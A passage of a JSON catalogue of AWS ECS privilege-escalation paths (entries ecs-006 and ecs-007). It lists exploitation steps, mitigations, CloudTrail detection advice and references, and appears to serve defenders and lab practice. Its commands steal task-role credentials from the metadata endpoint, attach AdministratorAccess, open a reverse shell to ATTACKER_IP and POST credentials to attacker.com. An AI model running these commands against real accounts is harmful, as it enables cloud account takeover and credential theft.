        "An ECS service must have ECS Exec explicitly enabled (`enable_execute_command = true`) - this is disabled by default and does not work on default ECS services",
        "The service must have at least one running task",
        "The task must have a task role with some elevated permissions",
        "The ECS Exec agent (SSM agent) must be running and healthy in the container",
        "The attacker must have the AWS Systems Manager Session Manager plugin installed locally",
        "Network connectivity must allow SSM session establishment (task needs outbound internet or VPC endpoints)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ecs list-clusters",
          "description": "Discover ECS clusters in the account"
        },
        {
          "step": 2,
          "command": "aws ecs list-tasks --cluster CLUSTER_NAME",
          "description": "List running tasks in the target cluster"
        },
        {
          "step": 3,
          "command": "aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN",
          "description": "Get task details to find container names and verify ECS Exec is enabled"
        },
        {
          "step": 4,
          "command": "aws ecs execute-command \\\n  --cluster CLUSTER_NAME \\\n  --task TASK_ARN \\\n  --container CONTAINER_NAME \\\n  --interactive \\\n  --command \"/bin/sh\"\n",
          "description": "Establish an interactive shell session in the running container using ECS Exec"
        },
        {
          "step": 5,
          "command": "wget -qO- http://169.254.170.2\\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"",
          "description": "Inside the container, retrieve the task role credentials from the ECS metadata service"
        },
        {
          "step": 6,
          "command": "export AWS_ACCESS_KEY_ID=\"<AccessKeyId>\"\nexport AWS_SECRET_ACCESS_KEY=\"<SecretAccessKey>\"\nexport AWS_SESSION_TOKEN=\"<Token>\"\naws sts get-caller-identity\n",
          "description": "Use the retrieved credentials outside the container to operate as the task role"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative task roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege for all task roles.\n- **Disable ECS Exec on production services** - ECS Exec is disabled by default. Only enable it when actively debugging, and disable immediately after. Use separate clusters for debugging and production workloads.\n- **Restrict use of the `ecs:ExecuteCommand` permission** - When `ecs:ExecuteCommand` is needed, restrict it's use to to specific clusters or use tag-based conditions.\n\nUse IAM policy conditions to restrict which tasks can be accessed:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"ecs:ExecuteCommand\",\n    \"ecs:DescribeTasks\"\n  ],\n  \"Resource\": \"arn:aws:ecs:*:ACCOUNT_ID:task/specific-cluster/*\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:ResourceTag/AllowExec\": \"true\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for `ecs:ExecuteCommand` API calls, especially targeting tasks with privileged roles\n- Monitor CloudTrail for `ecs:ExecuteCommand` API calls from principals who do not usually access containers\n- Alert on `ecs:ExecuteCommand` API calls at unusual times or from unexpected source IPs\n- Correlate `ecs:ExecuteCommand` API calls with subsequent API calls using task role credentials\n- Enable CloudWatch logging for ECS Exec to capture all commands executed within containers\n- Regularly audit ECS task definitions for excessive IAM permissions on task roles\n- Regularly audit all ECS services to identify which have ECS Exec enabled and whether it's necessary\n",
    "limitations": "This path provides administrative access only if the task role has administrative permissions. The level of access gained depends entirely on what permissions are attached to the running task's role. Even limited access through a task role may enable further privilege escalation or data access.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "date": 2021,
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html#ecsexecutecommand-ecsdescribetasksecsruntaskecsstarttaskecsupdateserviceecscreateservice"
      }
    },
    "references": [
      {
        "title": "AWS - ECS Privesc - HackTricks Cloud",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html#ecsexecutecommand-ecsdescribetasksecsruntaskecsstarttaskecsupdateserviceecscreateservice"
      },
      {
        "title": "NEW - Using Amazon ECS Exec to access your containers on AWS Fargate and Amazon EC2",
        "url": "https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/"
      },
      {
        "title": "Monitor Amazon ECS containers with ECS Exec - AWS Documentation",
        "url": "https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-exec.html"
      }
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/4f18bfc33cd2709ef3535e7c3ee0ad7ad72e8aa2/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L258",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L171"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `ecs:ExecuteCommand` and `ecs:DescribeTasks` permissions. Both are required - the AWS CLI internally calls DescribeTasks to retrieve the container runtime ID needed to establish the SSM session. This principal can establish an interactive shell session in any running ECS container that they have permission to access and where ECS Exec is enabled on the service. The session provides direct access to the container's environment including access to the task role's credentials via the ECS metadata service.\n"
        },
        {
          "id": "ecs_task",
          "label": "Running ECS Task",
          "type": "resource",
          "description": "An existing, running ECS task in a cluster with ECS Exec enabled (`enable_execute_command = true`). The task must have the ECS Exec agent (SSM agent) running within the container, which is automatically included in tasks running on Fargate or can be installed on EC2-based tasks. The task is managed by an ECS service that was deployed with execute-command support.\n"
        },
        {
          "id": "task_role",
          "label": "ECS Task Role",
          "type": "principal",
          "description": "The IAM role attached to the ECS task via the task definition's `taskRoleArn` setting. This role's temporary credentials are accessible from within the container via the ECS metadata service at the endpoint `169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`. The task role defines what AWS API calls the application inside the container can make.\n"
        },
        {
          "id": "method_direct_elevation",
          "label": "Method 1: Direct Elevation via AWS CLI",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once the ECS Exec session is established, use the AWS CLI inside the container to directly elevate the starting principal's permissions. The commands run with the task role's credentials and can perform privileged IAM actions such as:\n- Attaching AdministratorAccess policy to the starting principal\n- Creating new access keys for privileged users\n- Adding the starting principal to an admin IAM group\n- Modifying inline policies to grant elevated permissions\n\nExample commands from within the container session:\n```bash\naws iam attach-user-policy \\\n  --user-name starting-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThis approach immediately grants the starting principal elevated permissions using the task role's credentials without requiring credential exfiltration.\n"
        },
        {
          "id": "method_credential_exfil",
          "label": "Method 2: Exfiltrate Credentials",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once the ECS Exec session is established, retrieve the task role's temporary credentials from the ECS metadata service and use them outside the container. This provides flexibility to work from the attacker's own environment.\n\nFrom within the ECS Exec session, query the metadata service:\n```bash\nwget -qO- http://169.254.170.2\\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"\n```\n\nThe output contains JSON with AccessKeyId, SecretAccessKey, and Token. Configure these on the attacker's host:\n```bash\nexport AWS_ACCESS_KEY_ID=\"<AccessKeyId>\"\nexport AWS_SECRET_ACCESS_KEY=\"<SecretAccessKey>\"\nexport AWS_SESSION_TOKEN=\"<Token>\"\naws sts get-caller-identity\n```\n\nThis approach provides maximum flexibility, allowing the attacker to work from their own environment and maintain access even if the ECS Exec session is terminated.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the task role has AdministratorAccess or equivalent administrative permissions, the attacker gains full administrative access to the AWS account. They can perform any action in the account including creating new admin users, modifying resources, or accessing sensitive data.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the task role has some elevated permissions but not full admin access, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables, Secrets Manager secrets), ability to modify certain resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the task role only has minimal permissions (such as basic permissions for the application's intended function), the credential exfiltration may not provide meaningful additional access beyond what the starting principal already had. However, even limited access could be useful for reconnaissance or accessing application-specific resources.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ecs_task",
          "label": "ecs:ExecuteCommand + ecs:DescribeTasks",
          "description": "Establish an interactive ECS Exec session on the target container. Both `ecs:ExecuteCommand` and `ecs:DescribeTasks` are required - the AWS CLI internally calls DescribeTasks to retrieve the container runtime ID needed to establish the SSM session.\n\nCommand:\n```bash\naws ecs execute-command \\\n  --cluster CLUSTER_NAME \\\n  --task TASK_ARN \\\n  --container CONTAINER_NAME \\\n  --interactive \\\n  --command \"/bin/sh\"\n```\n\nAfter executing this command, an interactive shell session is established in the container.\n"
        },
        {
          "from": "ecs_task",
          "to": "task_role",
          "label": "Container accesses task role",
          "description": "Once inside the container via ECS Exec, the attacker has access to the task role's credentials through the ECS metadata service. Unlike EC2 instances that use IMDS at 169.254.169.254, ECS tasks use a different endpoint at 169.254.170.2 with a path provided by the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable. The attacker can now choose how to leverage these credentials.\n"
        },
        {
          "from": "task_role",
          "to": "method_direct_elevation",
          "label": "Option A",
          "description": "Use the AWS CLI inside the container to directly modify IAM and elevate the starting principal's permissions. This is the most direct approach and doesn't require credential exfiltration. However, the container may need to have the AWS CLI installed.\n"
        },
        {
          "from": "task_role",
          "to": "method_credential_exfil",
          "label": "Option B",
          "description": "Query the ECS metadata service to retrieve the task role's temporary credentials using curl, then configure them on the attacker's host for use from any location.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "admin_outcome",
          "label": "If task role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the task role has AdministratorAccess or equivalent administrative permissions, the direct elevation approach immediately grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "partial_outcome",
          "label": "If task role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the task role has elevated but non-administrative permissions, the direct elevation approach can still grant the starting principal useful additional permissions by modifying IAM policies or group memberships within the task role's permission scope.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "minimal_outcome",
          "label": "If task role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the task role only has minimal permissions (like basic application permissions), the direct elevation approach will fail because the role lacks the necessary IAM modification permissions. The attacker would need to choose a different exploitation method or look for data access.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "admin_outcome",
          "label": "If task role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the task role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location. They can create new admin users, access all resources, and modify security configurations.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "partial_outcome",
          "label": "If task role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the task role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation. Common scenarios include access to S3 buckets, RDS databases, DynamoDB tables, Secrets Manager secrets, or permissions to modify specific resources. The attacker can work from their own environment.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "minimal_outcome",
          "label": "If task role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the task role only has minimal permissions for the application's intended function, the exfiltrated credentials may not provide significant additional access. However, having the credentials on the attacker's host provides persistence even if the ECS Exec session is terminated, and may allow access to application-specific resources.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-02-02T14:19:11Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-006.yaml"
  },
  {
    "id": "ecs-007",
    "name": "iam:PassRole + ecs:StartTask + ecs:RegisterContainerInstance",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs",
      "ec2"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must cover both the task role ARN (for the taskRoleArn override) and the execution role ARN defined in the existing task definition \u2014 ECS requires PassRole on the execution role even when it is not being changed"
        },
        {
          "permission": "ecs:RegisterContainerInstance",
          "resourceConstraints": "Must be able to register an EC2 instance to an existing ECS cluster via direct API call using IMDS identity documents"
        },
        {
          "permission": "ecs:StartTask",
          "resourceConstraints": "Must have permission to start tasks on container instances in the target cluster"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for finding the target cluster name"
        },
        {
          "permission": "ecs:ListContainerInstances",
          "resourceConstraints": "Helpful for verifying container instance registration and retrieving instance ARNs"
        },
        {
          "permission": "ecs:ListTaskDefinitions",
          "resourceConstraints": "Helpful for discovering existing task definitions to exploit"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Helpful for monitoring task execution status"
        },
        {
          "permission": "ecs:DeregisterContainerInstance",
          "resourceConstraints": "Helpful for cleaning up the orphaned direct-API registration after the ECS agent creates its own registration; the attack succeeds without it"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets if network configuration is needed"
        },
        {
          "permission": "ec2:DescribeSecurityGroups",
          "resourceConstraints": "Helpful for finding security groups if network configuration is needed"
        }
      ]
    },
    "description": "An EC2 instance role with `iam:PassRole`, `ecs:RegisterContainerInstance`, and `ecs:StartTask` can be exploited when the attacker has Remote Code Execution (RCE) on the EC2 instance. The attacker retrieves the EC2 instance identity document and signature from IMDS, then calls `ecs:RegisterContainerInstance` directly via the API to register the instance to a target ECS cluster \u2014 without going through the ECS agent. Next, the attacker reconfigures the ECS agent to point to the target cluster and restarts it. Once the agent reconnects with full capability attributes, the attacker calls `ecs:StartTask` with `--overrides` to run an existing task definition with a malicious container command and a privileged `taskRoleArn` passed via `iam:PassRole`. This technique requires no `ecs:RegisterTaskDefinition` \u2014 the `--overrides` parameter hijacks an existing task definition to execute arbitrary commands with the passed role's permissions.",
    "prerequisites": {
      "admin": [
        "Attacker has Remote Code Execution (RCE) on an EC2 instance whose instance role has the required permissions",
        "An ECS cluster must exist in the account",
        "An existing task definition must be available in the cluster",
        "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "Attacker has Remote Code Execution (RCE) on an EC2 instance whose instance role has the required permissions",
        "An ECS cluster must exist in the account",
        "An existing task definition must be available in the cluster",
        "A role must exist that trusts ecs-tasks.amazonaws.com"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Verify identity on the compromised EC2 instance using the instance role's IMDS credentials"
        },
        {
          "step": 2,
          "command": "IDENTITY_DOC=$(curl -s http://169.254.169.254/latest/dynamic/instance-identity/document)\nIDENTITY_SIG=$(curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature | tr -d '\\n')\nTOTAL_CPU=$(($(nproc --all) * 1024))\nTOTAL_MEM=$(grep MemTotal /proc/meminfo | awk '{print int($2/1024)}')\n",
          "description": "Retrieve the EC2 instance identity document and PKCS7 signature from IMDS \u2014 these are used as proof of identity when calling ecs:RegisterContainerInstance"
        },
        {
          "step": 3,
          "command": "aws ecs register-container-instance \\\n  --cluster TARGET_CLUSTER \\\n  --instance-identity-document \"$IDENTITY_DOC\" \\\n  --instance-identity-document-signature \"$IDENTITY_SIG\" \\\n  --total-resources \"[{\\\"name\\\":\\\"CPU\\\",\\\"type\\\":\\\"INTEGER\\\",\\\"integerValue\\\":$TOTAL_CPU},{\\\"name\\\":\\\"MEMORY\\\",\\\"type\\\":\\\"INTEGER\\\",\\\"integerValue\\\":$TOTAL_MEM}]\" \\\n  --query 'containerInstance.containerInstanceArn' \\\n  --output text\n",
          "description": "Register the EC2 instance to the target ECS cluster by calling ecs:RegisterContainerInstance directly via the API using the IMDS identity documents \u2014 this bypasses the ECS agent entirely for the initial registration"
        },
        {
          "step": 4,
          "command": "sed -i 's/CURRENT_CLUSTER/TARGET_CLUSTER/' /etc/ecs/ecs.config\necho ECS_ENABLE_TASK_IAM_ROLE=true >> /etc/ecs/ecs.config\nsystemctl restart ecs\n",
          "description": "Reconfigure the ECS agent to connect to the target cluster and enable task IAM role support, then restart the agent so it reconnects with full capability attributes (Docker version, OS type, networking) needed for task placement"
        },
        {
          "step": 5,
          "command": "aws ecs list-container-instances \\\n  --cluster TARGET_CLUSTER \\\n  --query 'containerInstanceArns' \\\n  --output json\n",
          "description": "Wait for the ECS agent to reconnect (agentConnected=true) and retrieve the agent-connected container instance ARN \u2014 use ecs:describe-container-instances to confirm the agent is connected before proceeding"
        },
        {
          "step": 6,
          "command": "aws ecs list-task-definitions \\\n  --query 'taskDefinitionArns' \\\n  --output json\n",
          "description": "Discover existing task definitions to exploit using the --overrides parameter \u2014 ecs:RegisterTaskDefinition is not required"
        },
        {
          "step": 7,
          "command": "aws ecs start-task \\\n  --cluster TARGET_CLUSTER \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-role-policy\", \"--role-name\", \"INSTANCE_ROLE_NAME\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n",
          "description": "Start the existing task definition on the registered container instance, overriding the task role ARN via iam:PassRole and the container command with a payload that escalates the instance role's privileges"
        },
        {
          "step": 8,
          "command": "aws ecs describe-tasks --cluster TARGET_CLUSTER --tasks TASK_ARN",
          "description": "Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative task roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n\n- Restrict `ecs:RegisterContainerInstance` on EC2 instance roles \u2014 this permission allows self-registration to any cluster and is not needed for workloads that are not ECS container instances\n- Restrict `ecs:StartTask` and `ecs:RegisterContainerInstance` to specific cluster ARNs rather than wildcard resources\n- Monitor CloudTrail for `ecs:RegisterContainerInstance` calls originating from EC2 instance roles, especially to clusters where the instance is not expected to register\n- Monitor CloudTrail for ECS task execution with task role ARN overrides (`taskRoleArn` in the overrides field)\n- Monitor CloudTrail for roles being passed to ECS tasks that haven't been used before\n- Monitor and alert on ECS task execution with privileged roles passed via `--overrides`\n- Regularly audit EC2 instance roles for `ecs:RegisterContainerInstance` and `ecs:StartTask` permissions \u2014 these are high-risk when combined with `iam:PassRole`\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n\nThis path requires the attacker to already have Remote Code Execution (RCE) on an EC2 instance with the appropriate instance role permissions \u2014 a significant prerequisite compared to paths that only require an IAM user or role. In practice, this scenario arises when an EC2 instance running a vulnerable web application or workload has an overly permissive instance role.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Tom Taylor-MacLean and Mohit Gupta",
        "organization": "Reversec",
        "date": 2025,
        "link": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
      }
    },
    "references": [
      {
        "title": "Another ECS Privilege Escalation Path",
        "url": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
      },
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    ],
    "relatedPaths": [
      "ecs-005",
      "ecs-008",
      "ecs-009"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L243"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-starttask+ecs-registercontainerinstance",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Compromised EC2 Instance Role",
          "type": "principal",
          "description": "The attacker has Remote Code Execution (RCE) on an EC2 instance whose instance role holds iam:PassRole, ecs:RegisterContainerInstance, ecs:StartTask, and the ECS agent operational permissions (ecs:DiscoverPollEndpoint, ecs:Poll, ecs:SubmitTaskStateChange, ecs:SubmitContainerStateChange). The RCE gives the attacker the ability to make API calls using the instance role's credentials and to reconfigure software running on the instance (specifically the ECS agent).\n"
        },
        {
          "id": "existing_cluster",
          "label": "Existing ECS Cluster",
          "type": "resource",
          "description": "An existing ECS cluster in the account. The attacker calls ecs:RegisterContainerInstance directly via the API \u2014 without going through the ECS agent \u2014 by presenting the EC2 instance identity document and PKCS7 signature retrieved from IMDS as proof of identity.\n\nThe identity document and signature are retrieved with:\n```bash\nIDENTITY_DOC=$(curl -s http://169.254.169.254/latest/dynamic/instance-identity/document)\nIDENTITY_SIG=$(curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature | tr -d '\\n')\nTOTAL_CPU=$(($(nproc --all) * 1024))\nTOTAL_MEM=$(grep MemTotal /proc/meminfo | awk '{print int($2/1024)}')\n```\n\nThis step registers the EC2 instance as a container instance in the target cluster, making it eligible to receive task placements.\n"
        },
        {
          "id": "registered_instance",
          "label": "Registered EC2 Container Instance",
          "type": "resource",
          "description": "The EC2 instance is now registered to the target cluster. The attacker then reconfigures the ECS agent (already running on the instance) to connect to the target cluster and restarts it. Once the agent reconnects, it reports full capability attributes (Docker version, OS type, networking), making the instance ready for task placement.\n\nAgent reconfiguration commands:\n```bash\nsed -i 's/CURRENT_CLUSTER/TARGET_CLUSTER/' /etc/ecs/ecs.config\necho ECS_ENABLE_TASK_IAM_ROLE=true >> /etc/ecs/ecs.config\nsystemctl restart ecs\n```\n\nThe attacker waits for agentConnected=true to confirm the agent is fully reconnected before proceeding.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ECS Tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the running task via the taskRoleArn override in ecs:StartTask. This role must trust ecs-tasks.amazonaws.com. Unlike standard PassRole paths where a new resource is created to host the role, here the role is injected into an existing task definition's execution via the --overrides parameter \u2014 no ecs:RegisterTaskDefinition is required.\n\nThe task automatically assumes this role on startup. The role's temporary credentials are available to the container process via the ECS credentials endpoint injected into the container's environment.\n"
        },
        {
          "id": "method_direct",
          "label": "Method 1: Container Command Override (Direct Elevation)",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker specifies a malicious containerOverrides command in the ecs:StartTask call that directly elevates the starting principal by executing IAM modifications using the passed role's credentials. The container runs the command immediately on startup.\n\nExample --overrides payload that attaches AdministratorAccess to the instance role:\n```bash\naws ecs start-task \\\n  --cluster TARGET_CLUSTER \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-role-policy\",\n        \"--role-name\", \"INSTANCE_ROLE_NAME\",\n        \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n```\n\nThis approach requires the target role to have IAM write permissions but is the most direct path to full escalation.\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 2: Container Command Override (Reverse Shell)",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker overrides the container command to establish a reverse shell connection to an attacker-controlled listener. This provides interactive access inside the ECS task container, where the ECS credentials endpoint (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) supplies the passed role's temporary credentials automatically.\n\nExample --overrides payload for a reverse shell:\n```bash\naws ecs start-task \\\n  --cluster TARGET_CLUSTER \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"/bin/sh\", \"-c\",\n        \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"]\n    }]\n  }'\n```\n\nThe attacker maintains a listener (e.g., nc -lvnp 4444). Once connected, AWS CLI commands issued inside the container automatically use the passed role's credentials.\n"
        },
        {
          "id": "method_exfiltration",
          "label": "Method 3: Container Command Override (Credential Exfiltration)",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker overrides the container command to retrieve the passed role's temporary credentials from the ECS credentials endpoint and exfiltrate them to an attacker-controlled server. This is a fire-and-forget approach that does not require maintaining an interactive connection.\n\nInside ECS tasks, credentials are available via the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable injected by the ECS agent:\n```bash\naws ecs start-task \\\n  --cluster TARGET_CLUSTER \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"/bin/sh\", \"-c\",\n        \"curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | curl -X POST https://attacker.com/exfil -d @-\"]\n    }]\n  }'\n```\n\nThe attacker receives the AccessKeyId, SecretAccessKey, and SessionToken remotely and can use them from their own environment.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages the passed role's permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has elevated but non-administrative permissions. Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB), modification of security configurations, or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role only has minimal permissions (e.g., logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides limited value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_cluster",
          "label": "ecs:RegisterContainerInstance",
          "description": "The attacker calls ecs:RegisterContainerInstance directly via the API using IMDS identity documents as proof of identity. This bypasses the ECS agent for the initial registration step and adds the EC2 instance to the target cluster.\n\nCommand:\n```bash\naws ecs register-container-instance \\\n  --cluster TARGET_CLUSTER \\\n  --instance-identity-document \"$IDENTITY_DOC\" \\\n  --instance-identity-document-signature \"$IDENTITY_SIG\" \\\n  --total-resources \"[{\\\"name\\\":\\\"CPU\\\",\\\"type\\\":\\\"INTEGER\\\",\\\"integerValue\\\":$TOTAL_CPU},{\\\"name\\\":\\\"MEMORY\\\",\\\"type\\\":\\\"INTEGER\\\",\\\"integerValue\\\":$TOTAL_MEM}]\" \\\n  --query 'containerInstance.containerInstanceArn' \\\n  --output text\n```\n"
        },
        {
          "from": "existing_cluster",
          "to": "registered_instance",
          "label": "ECS agent reconfigured and reconnects",
          "description": "After the API-level registration, the attacker reconfigures the ECS agent on the EC2 instance to point to the target cluster and restarts it. The agent reconnects with full capability attributes (Docker version, OS type, networking) required for task placement. The attacker confirms the agent is connected (agentConnected=true) before proceeding.\n"
        },
        {
          "from": "registered_instance",
          "to": "target_role",
          "label": "iam:PassRole + ecs:StartTask",
          "description": "The attacker calls ecs:StartTask targeting the registered container instance and specifies the --overrides parameter to inject both the privileged taskRoleArn (via iam:PassRole) and a malicious container command. No new task definition is registered \u2014 an existing task definition is exploited through the override mechanism.\n\nThe running ECS task automatically assumes the passed role. Temporary credentials are injected into the container via the ECS credentials endpoint (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI).\n"
        },
        {
          "from": "target_role",
          "to": "method_direct",
          "label": "Option A",
          "branch": "A",
          "description": "Choose the direct elevation approach: override the container command to execute IAM modifications using the passed role's credentials, directly elevating the instance role or another principal.\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option B",
          "branch": "B",
          "description": "Choose the reverse shell approach: override the container command to establish an interactive reverse shell inside the ECS task container, where the passed role's credentials are available via the ECS credentials endpoint.\n"
        },
        {
          "from": "target_role",
          "to": "method_exfiltration",
          "label": "Option C",
          "branch": "C",
